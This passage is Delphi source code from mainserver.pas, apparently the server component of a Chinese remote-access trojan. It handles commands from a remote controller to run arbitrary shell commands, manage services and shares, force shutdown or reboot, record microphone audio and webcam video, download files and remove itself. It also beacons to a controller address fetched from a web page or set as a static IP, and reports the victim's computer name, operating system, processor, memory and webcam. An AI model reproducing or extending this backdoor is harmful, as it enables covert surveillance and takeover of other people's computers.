📄 mainserver.pas
字号:
end;
{------------------------------------}
if StrTmpList[1]='043' then
begin {2000/XP服务信息}
Request:=GetServicesInfo;
if Request='' then
begin
Request:='Cmd015'; //系统无服务信息.
SendStreamToClient(IdTCPClient1,'004',Request);
Exit;
end;
SendStreamToClient(IdTCPClient1,'012',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='044' then
begin {启动服务}
try
ServiceStart('',StrTmpList[2]);
except
end;
Request:=GetServicesInfo;
if Request='' then
begin
Request:='Cmd015'; //系统无服务信息.
SendStreamToClient(IdTCPClient1,'004',Request);
Exit;
end;
SendStreamToClient(IdTCPClient1,'012',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='045' then
begin {停止服务}
try
ServiceStop('',StrTmpList[2]);
except
end;
Request:=GetServicesInfo;
if Request='' then
begin
Request:='Cmd015'; //系统无服务信息.
SendStreamToClient(IdTCPClient1,'004',Request);
Exit;
end;
SendStreamToClient(IdTCPClient1,'012',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='046' then
begin {设置服务}
try
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
if Reg.OpenKey('\SYSTEM\CurrentControlSet\Services\'+StrTmpList[2] , True) then
begin
case strtoint(StrTmpList[3]) of
0: Reg.WriteInteger('Start', 2);
1: Reg.WriteInteger('Start', 3);
2: Reg.WriteInteger('Start', 4);
end;
end;
Reg.CloseKey;
finally
Reg.Free;
end;
except
end;
Request:=GetServicesInfo;
if Request='' then
begin
Request:='Cmd015'; //系统无服务信息.
SendStreamToClient(IdTCPClient1,'004',Request);
Exit;
end;
SendStreamToClient(IdTCPClient1,'012',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='047' then
begin {删除服务}
try
DelService(StrTmpList[2]);
except
end;
Request:=GetServicesInfo;
if Request='' then
begin
Request:='Cmd015'; //系统无服务信息.
SendStreamToClient(IdTCPClient1,'004',Request);
Exit;
end;
SendStreamToClient(IdTCPClient1,'012',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='048' then
begin {共享信息}
Request:=ShareInfoText;
SendStreamToClient(IdTCPClient1,'013',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='049' then
begin {创建共享信息}
CloseShare(StrTmpList[2]);
Sleep(500);
AddShare(StrTmpList[2],StrTmpList[3]);
Request:=ShareInfoText;
SendStreamToClient(IdTCPClient1,'013',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='050' then
begin {删除共享}
CloseShare(StrTmpList[2]);
Sleep(100);
Request:=ShareInfoText;
SendStreamToClient(IdTCPClient1,'013',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='055' then
begin {MS-DOS}
try
Request:=GetDosOutput(StrTmpList[2]);
except
Request:='MS-DOS Carry out and Fail!'; //MS-DOS执行失败.
end;
SendStreamToClient(IdTCPClient1,'015',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='056' then
begin {关机}
AdjustToken;
ExitWindowsEx(EWX_FORCE or EWX_POWEROFF, 0 );
Exit;
end;
{------------------------------------}
if StrTmpList[1]='057' then
begin {重启计算机}
AdjustToken;
ExitWindowsEx(EWX_REBOOT or EWX_FORCE, 0 );
Exit;
end;
{------------------------------------}
if StrTmpList[1]='064' then
begin {信息对话框}
try
Dlg:=TDlgshowThread.Create(StrTmpList[2],StrTmpList[3],StrtoInt(StrTmpList[4]),StrtoInt(StrTmpList[5]));
except
end;
Request:='004';
Request:=EncodeBase64(Request);
IdTCPClient1.Write(Request+EOL);
Request:=EncodeBase64('Cmd031'); //信息对话框发送成功!
IdTCPClient1.Write(Request+EOL);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='067' then
begin {语音发送}
try
if ACMWaveOver then ACMWaveInThread.Terminate;
ACMWaveInThread:=TACMWaveInThread.Create;
except
end;
Request:='004';
Request:=EncodeBase64(Request);
IdTCPClient1.Write(Request+EOL);
Request:=EncodeBase64('Cmd034'); //语音接收命令成功!
IdTCPClient1.Write(Request+EOL);
end;
{------------------------------------}
if StrTmpList[1]='068' then
begin {视频发送}
try
IdTCPVfw.Disconnect;
DriverIndex:=StrtoInt(StrTmpList[2]);
if ConRpcport(IdTCPVfw) then
begin
try
Request:='006';
Request:=EncodeBase64(Request);
IdTCPVfw.Write(Request+EOL);
except
IdTCPVfw.Disconnect;
exit;
end;
CreateCaptureWindow;//捕获视频
end;
Temp:='Cmd035'; //视频命令执行成功!
except
DriverIndex:=-1;
Temp:='Cmd036'; //打开视频设备失败!设备不能用!
end;
Request:='004';
Request:=EncodeBase64(Request);
IdTCPClient1.Write(Request+EOL);
Request:=EncodeBase64(Temp);
IdTCPClient1.Write(Request+EOL);
end;
{------------------------------------}
if StrTmpList[1]='069' then
begin {视频停止}
Temp:='Cmd037'; //视频停止成功!
try
DriverIndex:=-1;
StopCapture;
IdTCPVfw.Disconnect;
except
Temp:='Cmd038'; //视频停止出错了!
end;
Request:='004';
Request:=EncodeBase64(Request);
IdTCPClient1.Write(Request+EOL);
Request:=EncodeBase64(Temp);
IdTCPClient1.Write(Request+EOL);
end;
{------------------------------------}
if StrTmpList[1]='070' then
begin {读取视频设备}
try
Request:=GetDriverList.Text;
except
end;
if Request='' then Request:='NO';
SendStreamToClient(IdTCPClient1,'016',Request);
end;
{------------------------------------}
if StrTmpList[1]='071' then
begin {主机大转借}
try
ToClientDisconnect;
HTTPtoIpPort(StrTmpList[2]);
except
end;
end;
{------------------------------------}
if StrTmpList[1]='072' then
begin {卸载服务端}
try
FilesetAttr(ServerPath,0);
ToClientDisconnect;
except
end;
DelService(WinServerName);
DeleteFile(PChar(ServerPath));
Halt(0);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='073' then
begin {打开网页}
try
ShellExecute(0, 'open', pchar(StrTmpList[2]),nil, nil, SW_SHOWMAXIMIZED);
except
end;
end;
{------------------------------------}
if StrTmpList[1]='074' then
begin {下载文件}
try
DomnFile:=TDownFileThread.Create(StrTmpList[2]);
except
end;
end;
{------------------------------------}
if StrTmpList[1]='076' then
begin {修改备注}
try
reg:=Tregistry.Create ;
reg.RootKey :=HKEY_LOCAL_MACHINE;
if not Reg.KeyExists('SOFTWARE\Microsoft\Windows\CurrentVersion\Setup') then begin
Reg.CreateKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Setup');
end;
reg.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Setup',true);
Reg.WriteString('Beizhu',StrTmpList[2]);
Reg.CloseKey;
reg.Free;
except
end;
Exit;
end;
{------------------------------------}
if StrTmpList[1]='079' then
begin {捕屏真彩色}
try
Verycolored:=Strtoint(StrTmpList[2]);
except
Verycolored:=2;
end;
Exit;
end;
{------------------------------------}
if StrTmpList[1]='080' then
begin {停止语音}
try
if ACMWaveOver then ACMWaveInThread.Terminate;
except
end;
Exit;
end;
{------------------------------------}
except
end;
end;
//初始化IP和端口并且连接
function TPServer.ConRpcport(BThread: TIdTCPClient):Boolean;
var
Request:String;
begin
try
begin
BThread.Disconnect;
BThread.Host:=RpcAdder;
BThread.Port:=RpcPort;
BThread.Connect;
if BThread.Connected then
begin
Request:=BThread.ReadLn(EOL);
if (Request='HTTP/1.0 200 Connected OK') then
Result:=True else Result:=False;
end;
end;
except
Result:=False;
end;
end;
procedure TPServer.Timer1Timer(Sender: TObject);
begin
Timer1.Interval :=50000;
try
if not IdTCPOnline.Connected then
begin
Online; //连接
end;
except
end;
end;
procedure TPServer.Online;
begin
if Urlhttp<>'' then
begin
try
if HTTPtoIpPort(Urlhttp) then Exit else
begin
IdTCPOnline.Disconnect;
IdTCPClient1.Disconnect;
IdTCPVfw.Disconnect;
end;
except
end;
end;
end;
//连接客户端函数
function TPServer.HTTPtoIpPort(S:string):Boolean;
var
Temp:String;
pos1:byte;
begin
try
if S<>'' Then
begin
if Pos('http://',S)<>0 then
begin //转向域名和FTP上线
Temp:=lowercase(IdHTTP1.Get(S)); {读取域名}
IdHTTP1.Disconnect;
Temp:=CenterStr(Temp,'http://','/index.asp');
pos1:=pos(':',Temp);
RpcAdder:=copy(Temp,1,pos1-1);
RpcPort:=strtoint(copy(Temp,pos1+1,Length(Temp)));
end else
begin
pos1:=Pos(':',S); //静态IP
if pos1<>0 then
begin
RpcAdder:=copy(S,1,pos1-1);
RpcPort:=strtoint(copy(S,pos1+1,Length(S)));
end else
begin
RpcAdder:=S; //默认端口
RpcPort:=800;
end;
end;
if (RpcAdder<>'') and (RpcAdder<>'0.0.0.0') then
begin
if ConRpcport(IdTCPOnline) then
begin
HttpConokSend;
ClientHandleThread:=TClientHandleThread.Create;
Result:=True;
Exit;
end;
end;
end;
except
end;
end;
{当连接上客户端后发送上线信息}
Procedure TPServer.HttpConokSend;
var
Temp,Webcam,Bz:String;
Reg:TRegistry;
begin
if Group='' then Group:='自动上线主机';
Webcam:=GetDriverList.Text;
if Webcam = '' then ClientIm:=24 else ClientIm:=25;
Temp:=Temp+'<GR>'+Group+'</GR>';
Temp:=Temp+'<IM>'+InttoStr(ClientIm)+'</IM>'; //上线图标
Temp:=Temp+'<NA>'+computername+'</NA>';
Temp:=Temp+'<OS>'+GetWindowsVersion+'</OS>'; //操作系统
Temp:=Temp+'<CPU>'+Format('%f MHz', [GetCPUSpeed])+'</CPU>'; //处理器
Temp:=Temp+'<MEM>'+Phymemery+'</MEM>'; //内存
Temp:=Temp+'<CR>'+Ver+'</CR>';
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -